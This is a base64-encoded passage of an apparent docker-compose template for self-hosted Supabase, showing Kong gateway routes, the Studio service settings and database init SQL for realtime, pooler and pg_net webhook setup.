gICBfY29tbWVudDogJ0FuYWx5dGljczogL2FuYWx5dGljcy92MS8qIC0+IGh0dHA6Ly9sb2dmbGFyZTo0MDAwLyonXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtYW5hbHl0aWNzOjQwMDAvXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBhbmFseXRpY3MtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvYW5hbHl0aWNzL3YxL1xuXG4gICMjIFNlY3VyZSBEYXRhYmFzZSByb3V0ZXNcbiAgLSBuYW1lOiBtZXRhXG4gICAgX2NvbW1lbnQ6ICdwZy1tZXRhOiAvcGcvKiAtPiBodHRwOi8vc3VwYWJhc2UtbWV0YTo4MDgwLyonXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtbWV0YTo4MDgwL1xuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogbWV0YS1hbGxcbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9wZy9cbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBrZXktYXV0aFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9jcmVkZW50aWFsczogZmFsc2VcbiAgICAgIC0gbmFtZTogYWNsXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2dyb3Vwc19oZWFkZXI6IHRydWVcbiAgICAgICAgICBhbGxvdzpcbiAgICAgICAgICAgIC0gYWRtaW5cblxuICAjIyBQcm90ZWN0ZWQgRGFzaGJvYXJkIC0gY2F0Y2ggYWxsIHJlbWFpbmluZyByb3V0ZXNcbiAgLSBuYW1lOiBkYXNoYm9hcmRcbiAgICBfY29tbWVudDogJ1N0dWRpbzogLyogLT4gaHR0cDovL3N0dWRpbzozMDAwLyonXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2Utc3R1ZGlvOjMwMDAvXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBkYXNoYm9hcmQtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuICAgICAgLSBuYW1lOiBiYXNpYy1hdXRoXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2NyZWRlbnRpYWxzOiB0cnVlXG4iCiAgc3VwYWJhc2Utc3R1ZGlvOgogICAgaW1hZ2U6ICdzdXBhYmFzZS9zdHVkaW86MjAyNS4wNi4wMi1zaGEtOGYyOTkzZCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBub2RlCiAgICAgICAgLSAnLWUnCiAgICAgICAgLSAiZmV0Y2goJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9hcGkvcGxhdGZvcm0vcHJvZmlsZScpLnRoZW4oKHIpID0+IHtpZiAoci5zdGF0dXMgIT09IDIwMCkgdGhyb3cgbmV3IEVycm9yKHIuc3RhdHVzKX0pIgogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBIT1NUTkFNRT0wLjAuMC4wCiAgICAgIC0gJ1NUVURJT19QR19NRVRBX1VSTD1odHRwOi8vc3VwYWJhc2UtbWV0YTo4MDgwJwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdERUZBVUxUX09SR0FOSVpBVElPTl9OQU1FPSR7U1RVRElPX0RFRkFVTFRfT1JHQU5JWkFUSU9OOi1EZWZhdWx0IE9yZ2FuaXphdGlvbn0nCiAgICAgIC0gJ0RFRkFVTFRfUFJPSkVDVF9OQU1FPSR7U1RVRElPX0RFRkFVTFRfUFJPSkVDVDotRGVmYXVsdCBQcm9qZWN0fScKICAgICAgLSAnU1VQQUJBU0VfVVJMPWh0dHA6Ly9zdXBhYmFzZS1rb25nOjgwMDAnCiAgICAgIC0gJ1NVUEFCQVNFX1BVQkxJQ19VUkw9JHtTRVJWSUNFX1VSTF9TVVBBQkFTRUtPTkd9JwogICAgICAtICdTVVBBQkFTRV9BTk9OX0tFWT0ke1NFUlZJQ0VfU1VQQUJBU0VBTk9OX0tFWX0nCiAgICAgIC0gJ1NVUEFCQVNFX1NFUlZJQ0VfS0VZPSR7U0VSVklDRV9TVVBBQkFTRVNFUlZJQ0VfS0VZfScKICAgICAgLSAnQVVUSF9KV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtICdMT0dGTEFSRV9BUElfS0VZPSR7U0VSVklDRV9QQVNTV09SRF9MT0dGTEFSRX0nCiAgICAgIC0gJ0xPR0ZMQVJFX1VSTD1odHRwOi8vc3VwYWJhc2UtYW5hbHl0aWNzOjQwMDAnCiAgICAgIC0gJ1NVUEFCQVNFX1BVQkxJQ19BUEk9JHtTRVJWSUNFX1VSTF9TVVBBQkFTRUtPTkd9JwogICAgICAtIE5FWFRfUFVCTElDX0VOQUJMRV9MT0dTPXRydWUKICAgICAgLSBORVhUX0FOQUxZVElDU19CQUNLRU5EX1BST1ZJREVSPXBvc3RncmVzCiAgICAgIC0gJ09QRU5BSV9BUElfS0VZPSR7T1BFTkFJX0FQSV9LRVl9JwogIHN1cGFiYXNlLWRiOgogICAgaW1hZ2U6ICdzdXBhYmFzZS9wb3N0Z3JlczoxNS44LjEuMDQ4JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdwZ19pc3JlYWR5IC1VIHBvc3RncmVzIC1oIDEyNy4wLjAuMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS12ZWN0b3I6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6CiAgICAgIC0gcG9zdGdyZXMKICAgICAgLSAnLWMnCiAgICAgIC0gY29uZmlnX2ZpbGU9L2V0Yy9wb3N0Z3Jlc3FsL3Bvc3RncmVzcWwuY29uZgogICAgICAtICctYycKICAgICAgLSBsb2dfbWluX21lc3NhZ2VzPWZhdGFsCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19IT1NUPS92YXIvcnVuL3Bvc3RncmVzcWwKICAgICAgLSAnUEdQT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ1BPU1RHUkVTX1BPUlQ9JHtQT1NUR1JFU19QT1JUOi01NDMyfScKICAgICAgLSAnUEdQQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQR0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotcG9zdGdyZXN9JwogICAgICAtICdKV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtICdKV1RfRVhQPSR7SldUX0VYUElSWTotMzYwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICdzdXBhYmFzZS1kYi1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9kYi9yZWFsdGltZS5zcWwKICAgICAgICB0YXJnZXQ6IC9kb2NrZXItZW50cnlwb2ludC1pbml0ZGIuZC9taWdyYXRpb25zLzk5LXJlYWx0aW1lLnNxbAogICAgICAgIGNvbnRlbnQ6ICJcXHNldCBwZ3VzZXIgYGVjaG8gXCJzdXBhYmFzZV9hZG1pblwiYFxuXG5jcmVhdGUgc2NoZW1hIGlmIG5vdCBleGlzdHMgX3JlYWx0aW1lO1xuYWx0ZXIgc2NoZW1hIF9yZWFsdGltZSBvd25lciB0byA6cGd1c2VyO1xuIgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi92b2x1bWVzL2RiL19zdXBhYmFzZS5zcWwKICAgICAgICB0YXJnZXQ6IC9kb2NrZXItZW50cnlwb2ludC1pbml0ZGIuZC9taWdyYXRpb25zLzk3LV9zdXBhYmFzZS5zcWwKICAgICAgICBjb250ZW50OiAiXFxzZXQgcGd1c2VyIGBlY2hvIFwiJFBPU1RHUkVTX1VTRVJcImBcblxuQ1JFQVRFIERBVEFCQVNFIF9zdXBhYmFzZSBXSVRIIE9XTkVSIDpwZ3VzZXI7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvcG9vbGVyLnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL21pZ3JhdGlvbnMvOTktcG9vbGVyLnNxbAogICAgICAgIGNvbnRlbnQ6ICJcXHNldCBwZ3VzZXIgYGVjaG8gXCJzdXBhYmFzZV9hZG1pblwiYFxuXFxjIF9zdXBhYmFzZVxuY3JlYXRlIHNjaGVtYSBpZiBub3QgZXhpc3RzIF9zdXBhdmlzb3I7XG5hbHRlciBzY2hlbWEgX3N1cGF2aXNvciBvd25lciB0byA6cGd1c2VyO1xuXFxjIHBvc3RncmVzXG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvd2ViaG9va3Muc3FsCiAgICAgICAgdGFyZ2V0OiAvZG9ja2VyLWVudHJ5cG9pbnQtaW5pdGRiLmQvaW5pdC1zY3JpcHRzLzk4LXdlYmhvb2tzLnNxbAogICAgICAgIGNvbnRlbnQ6ICJCRUdJTjtcbi0tIENyZWF0ZSBwZ19uZXQgZXh0ZW5zaW9uXG5DUkVBVEUgRVhURU5TSU9OIElGIE5PVCBFWElTVFMgcGdfbmV0IFNDSEVNQSBleHRlbnNpb25zO1xuLS0gQ3JlYXRlIHN1cGFiYXNlX2Z1bmN0aW9ucyBzY2hlbWFcbkNSRUFURSBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIEFVVEhPUklaQVRJT04gc3VwYWJhc2VfYWRtaW47XG5HUkFOVCBVU0FHRSBPTiBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gVEFCTEVTIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gRlVOQ1RJT05TIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gU0VRVUVOQ0VTIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4tLSBzdXBhYmFzZV9mdW5jdGlvbnMubWlncmF0aW9ucyBkZWZpbml0aW9uXG5DUkVBVEUgVEFCTEUgc3VwYWJhc2VfZnVuY3Rpb25zLm1pZ3JhdGlvbnMgKFxuICB2ZXJzaW9uIHRleHQgUFJJTUFSWSBLRVksXG4gIGluc2VydGVkX2F0IHRpbWVzdGFtcHR6IE5PVCBOVUxMIERFRkFVTFQgTk9XKClcbik7XG4tLSBJbml0aWFsIHN1cGFiYXNlX2Z1bmN0aW9ucyBtaWdyYXRpb25cbklOU0VSVCBJTlRPIHN1cGFiYXNlX2Z1bmN0aW9ucy5taWdyYXRpb25zICh2ZXJzaW9uKSBWQUxVRVMgKCdpbml0aWFsJyk7XG4tLSBzdXBhYmFzZV9mdW5jdGlvbnMuaG9va3MgZGVmaW5pdGlvblxuQ1JFQVRFIFRBQkxFIHN1cGFiYXNlX2Z1bmN0aW9ucy5ob29rcyAoXG4gIGlkIGJpZ3NlcmlhbCBQUklNQVJZIEtFWSxcbiAgaG9va190YWJsZV9pZCBpbnRlZ2VyIE5PVCBOVUxMLFxuICBob29rX25hbWUgdGV4dCBOT1QgTlVMTCxcbiAgY3JlYXRlZF9hdCB0aW1lc3RhbXB0eiBOT1QgTlVMTCBERUZBVUxUIE5PVygpLFxuICByZXF1ZXN0X2lkIGJpZ2ludFxuKTtcbkNSRUFURSBJTkRFWCBzdXBhYmFzZV9mdW5jdGlvbnNfaG9va3NfcmVxdWVzdF9pZF9pZHggT04gc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzIFVTSU5HIGJ0cmVlIChyZXF1ZXN0X2lkKTtcbkNSRUFURSBJTkRFWCBzdXBhYmFzZV9mdW5jdGlvbnNfaG9va3NfaF90YWJsZV9pZF9oX25hbWVfaWR4IE9OIHN1cGFiYXNlX2Z1bmN0aW9ucy5ob29rcyBVU0lORyBidHJlZSAoaG9va190YWJsZV9pZCwgaG9va19uYW1lKTtcbkNPTU1FTlQgT04gVEFCTEUgc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzIElTICdTdXBhYmFzZSBGdW5jdGlvbnMgSG9va3M6IEF1ZGl0IHRyYWlsIGZvciB0cmlnZ2VyZWQgaG9va3MuJztcbkNSRUFURSBGVU5DVElPTiBzdXBhYmFzZV9mdW5jdGlvbnMuaHR0cF9yZXF1ZXN0KClcbiAgUkVUVVJOUyB0cmlnZ2VyXG4gIExBTkdVQUdFIHBscGdzcWxcbiAgQVMgJGZ1bmN0aW9uJFxuICBERUNMQVJFXG4gICAgcmVxdWVzdF9pZCBiaWdpbnQ7XG4gICAgcGF5bG9hZCBqc29uYjtcbiAgICB1cmwgdGV4dCA6PSBUR19BUkdWWzBdOjp0ZXh0O1xuICAgIG1ldGhvZCB0ZXh0IDo9IFRHX0FSR1ZbMV06OnRleHQ7XG4gICAgaGVhZGVycyBqc29uYiBERUZBVUxUICd7fSc6Ompzb25iO1xuICAgIHBhcmFtcyBqc29uYiBERUZBVUxUICd7fSc6Ompzb25iO1xuICAgIHRpbWVvdXRfbXMgaW50ZWdlciBERUZBVUxUIDEwMDA7XG4gIEJFR0lOXG4gICAgSUYgdXJsIElTIE5VTEwgT1IgdXJsID0gJ251bGwnIFRIRU5cbiAgICAgIFJBSVNFIEVYQ0VQVElPTiAndXJsIGFyZ3VtZW50IGlzIG1pc3NpbmcnO1xuICAgIEVORCBJRjtcblxuICAgIElGIG1ldGhvZCBJUyBOVUxMIE9SIG1ldGhvZCA9ICdudWxsJyBUSEVOXG4gICAgICBSQUlTRSBFWENFUFRJT04gJ21ldGhvZCBhcmd1bWVudCBpcyBtaXNzaW5nJztcbiAgICBFTkQgSUY7XG5cbiAgICBJRiBUR19BUkdWWzJdIElTIE5VTEwgT1IgVEdfQVJHVlsyXSA9ICdudWxsJyBUSEVOXG4gICAgICBoZWFkZXJzID0gJ3tcIkNvbnRlbnQtVHlwZVwiOiBcImFwcGxpY2F0aW9uL2pzb25cIn0nOjpqc29uYjtcbiAgICBFTFNFXG4gICAgICBoZWFkZXJzID0gVEdfQVJHVlsyXTo6anNvbmI7XG4gICAgRU5EIElGO1xuXG4gICAgSUYgVEdfQVJHVlszXSBJUyBOVUxMIE9SIFRHX0FSR1ZbM10gPSAnbnVsbCcgVEhFTlxuICAgICAgcGFyYW1zID0gJ3t9Jzo6anNvbmI7XG4gICAgRUxTRVxuICAgICAgcGFyYW1zID0gVEdfQVJHVlszXTo6anNvbmI7XG4gICAgRU5EIElGO1xuXG4gICAgSUYgVEdfQVJHVls0XSBJUyBOVUxMIE9SIFRHX0FSR1ZbNF0gPSAnbnVsbCcgVEhFTlxuICAgICAgdGltZW91dF9tcyA9IDEwMDA7XG4gICAgRUxTRVxuICAgICAgdGltZW91dF9tcyA9IFRHX0FSR1ZbNF06OmludGVnZXI7XG4gICAgRU5EIElGO1xuXG4gICAgQ0FTRVxuICAgICAgV0hFTiBtZXRob2QgPSAnR0VUJyBUSEVOXG4gICAgICAgIFNFTEVDVCBodHRwX2dldCBJTlRPIHJlcXVlc3RfaWQgRlJPTSBuZXQuaHR0cF9nZXQoXG4gICAgICAgICAgdXJsLFxuICAgICAgICAgIHBhcmFtcyxcbiAgICAgICAgICBoZWFkZXJzLFxuICAgICAgICAgIHRpbWVvdXRfbXNcbiAgICAgICAgKTtcbiAgICAgIFdIRU4gbWV0aG9kID0gJ1BPU1QnIFRIRU5cbiAgICAgICAgcGF5bG9hZCA9IGpzb25iX2J1aWxkX29iamVjdChcbiAgICAgICAgICAnb2xkX3JlY29yZCcsIE9MRCxcbiAgICAgICAgICAncmVjb3JkJywgTkVXLFxuICAgICAgICAgICd0eXBlJywgVEdfT1AsXG4gICAgICAgICAgJ3RhYmxlJywgVEdfVEFCTEVfTkFNRSxcbiAgICAgICAgICAnc2NoZW1hJywgVEdfVEFCTEVfU0NIRU1BXG4gICAgICAgICk7XG5cbiAgICAgICAgU0VMRUNUIGh0dHBfcG9zdCBJTlRPIHJlcXVlc3RfaWQgRlJPTSBuZXQuaHR0cF9wb3N0KFxuICAgICAgICAgIHVybCxcbiAgICAgICAgICBwYXlsb2FkLFxuICAgICAgICAgIHBhcmFtcyxcbiAgICAgICAgICBoZWFkZXJzLFxuICAgICAgICAgIHRpbWVvdXRfbXNcbiAgICAgICAgKTtcbiAgICAgIEVMU0VcbiAgICAgICAgUkFJU0UgRVhDRVBUSU9OICdtZXRob2QgYXJndW1lbnQgJSBpcyBpbnZhbGlkJywgbWV0aG9kO1xuICAgIEVORCBDQVNFO1xuXG4gICAgSU5TRVJUIElOVE8gc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzXG4gICAgICAoaG9va190YWJsZV9pZCwgaG9va19uYW1lLCByZXF1ZXN0X2lkKVxuICAgIFZBTFVFU1xuICAgICAgKFRHX1JFTElELCBUR19OQU1FLCByZXF1ZXN0X2lkKTtcblxuICAgIFJFVFVSTiBORVc7XG4gIEVORFxuJGZ1bmN0aW9uJDtcbi0tIFN1cGFiYXNlIHN1cGVyIGFkbWluXG5ET1xuJCRcbkJFR0lOXG4gIElGIE5PVCBFWElTVFMgKFxuICAgIFNFTEVDVCAxXG4gICAgRlJPTSBwZ19yb2xlc1xuICAgIFdIRVJFIHJvbG5hbWUgPSAnc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluJ1xuICApXG4gIFRIRU5cbiAgICBDUkVBVEUgVVNFUiBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4gTk9JTkhFUklUIENSRUFURVJPTEUgTE9HSU4gTk9SRVBMSUNBVElPTjtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbkdSQU5UIEFMTCBQUklWSUxFR0VTIE9OIFNDSEVNQSBzdXBhYmFzZV9mdW5jdGlvbnMgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluO1xuR1JBTlQgQUxMIFBSSVZJTEVHRVMgT04gQUxMIFRBQkxFUyBJTiBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbjtcbkdSQU5UIEFMTCBQUklWSUxFR0VTIE9OIEFMTCBTRVFVRU5DRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW47XG5BTFRFUiBVU0VSIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiBTRVQgc2VhcmNoX3BhdGggPSBcInN1cGFiYXNlX2Z1bmN0aW9uc1wiO1xuQUxURVIgdGFibGUgXCJzdXBhYmFzZV9mdW5jdGlvbnNcIi5taWdyYXRpb25zIE9XTkVSIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbjtcbkFMVEVSIHRhYmxlIFwic3VwYWJhc2VfZnVuY3Rpb25zXCIuaG9va3MgT1dORVIgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluO1xuQUxURVIgZnVuY3Rpb24gXCJzdXBhYmFzZV9mdW5jdGlvbnNcIi5odHRwX3JlcXVlc3QoKSBPV05FUiBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW47XG5HUkFOVCBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4gVE8gcG9zdGdyZXM7XG4tLSBSZW1vdmUgdW51c2VkIHN1cGFiYXNlX3BnX25ldF9hZG1pbiByb2xlXG5ET1xuJCRcbkJFR0lOXG4gIElGIEVYSVNUUyAoXG4gICAgU0VMRUNUIDFcbiAgICBGUk9NIHBnX3JvbGVzXG4gICAgV0hFUkUgcm9sbmFtZSA9ICdzdXBhYmFzZV9wZ19uZXRfYWRtaW4nXG4gIClcbiAgVEhFTlxuICAgIFJFQVNTSUdOIE9XTkVEIEJZIHN1cGFiYXNlX3BnX25ldF9hZG1pbiBUTyBzdXBhYmFzZV9hZG1pbjtcbiAgICBEUk9QIE9XTkVEIEJZIHN1cGFiYXNlX3BnX25ldF9hZG1pbjtcbiAgICBEUk9QIFJPTEUgc3VwYWJhc2VfcGdfbmV0X2FkbWluO1xuICBFTkQgSUY7XG5FTkRcbiQkO1xuLS0gcGdfbmV0IGdyYW50cyB3aGVuIGV4dGVuc2lvbiBpcyBhbHJlYWR5IGVuYWJsZWRcbkRPXG4kJFxuQkVHSU5cbiAgSUYgRVhJU1RTIChcbiAgICBTRUxFQ1QgMVxuICAgIEZST00gcGdfZXh0ZW5zaW9uXG4gICAgV0hFUkUgZXh0bmFtZSA9ICdwZ19uZXQnXG4gIClcbiAgVEhFTlxuICAgIEdSQU5UIFVTQUdFIE9OIFNDSEVNQSBuZXQgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluLCBwb3N0Z3JlcywgYW5vbiwgYXV0aGVudGljYXRlZCwgc2VydmljZV9yb2xlO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBTRUNVUklUWSBERUZJTkVSO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VDVVJJVFkgREVGSU5FUjtcbiAgICBBTFRFUiBmdW5jdGlvbiBuZXQuaHR0cF9nZXQodXJsIHRleHQsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfZ2V0KHVybCB0ZXh0LCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIEZST00gUFVCTElDO1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfcG9zdCh1cmwgdGV4dCwgYm9keSBqc29uYiwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBGUk9NIFBVQkxJQztcbiAgICBHUkFOVCBFWEVDVVRFIE9OIEZVTkNUSU9OIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4sIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4gICAgR1JBTlQgRVhFQ1VURSBPTiBGVU5DVElPTiBuZXQuaHR0cF9wb3N0KHVybCB0ZXh0LCBib2R5IGpzb25iLCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiwgcG9zdGdyZXMsIGFub24sIGF1dGhlbnRpY2F0ZWQsIHNlcnZpY2Vfcm9sZTtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbi0tIEV2ZW50IHRyaWdnZXIgZm9yIHBnX25ldFxuQ1JFQVRFIE9SIFJFUExBQ0UgRlVOQ1RJT04gZXh0ZW5zaW9ucy5ncmFudF9wZ19uZXRfYWNjZXNzKClcblJFVFVSTlMgZXZlbnRfdHJpZ2dlclxuTEFOR1VBR0UgcGxwZ3NxbFxuQVMgJCRcbkJFR0lOXG4gIElGIEVYSVNUUyAoXG4gICAgU0VMRUNUIDFcbiAgICBGUk9NIHBnX2V2ZW50X3RyaWdnZXJfZGRsX2NvbW1hbmRzKCkgQVMgZXZcbiAgICBKT0lOIHBnX2V4dGVuc2lvbiBBUyBleHRcbiAgICBPTiBldi5vYmppZCA9IGV4dC5vaWRcbiAgICBXSEVSRSBleHQuZXh0bmFtZSA9ICdwZ19uZXQnXG4gIClcbiAgVEhFTlxuICAgIEdSQU5UIFVTQUdFIE9OIFNDSEVNQSBuZXQgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluLCBwb3N0Z3JlcywgYW5vbiwgYXV0aGVudGljYXRlZCwgc2VydmljZV9yb2xlO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBTRUNVUklUWSBERUZJTkVSO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VDVVJJVFkgREVGSU5FUjtcbiAgICBBTFRFUiBmdW5jdGlvbiBuZXQuaHR0cF9nZXQodXJsIHRleHQsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfZ2V0KHVybCB0ZXh0LCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIEZST00gUFVCTElDO1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfcG9zdCh1cmwgdGV4dCwgYm9keSBqc29uYiwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBGUk9NIFBVQkxJQztcbiAgICBHUkFOVCBFWEVDVVRFIE9OIEZVTkNUSU9OIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4sIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4gICAgR1JBTlQgRVhFQ1VURSBPTiBGVU5DVElPTiBuZXQuaHR0cF9wb3N0KHVybCB0ZXh0LCBib2R5IGpzb25iLCBwYXJhbXMganNvbmIsIGh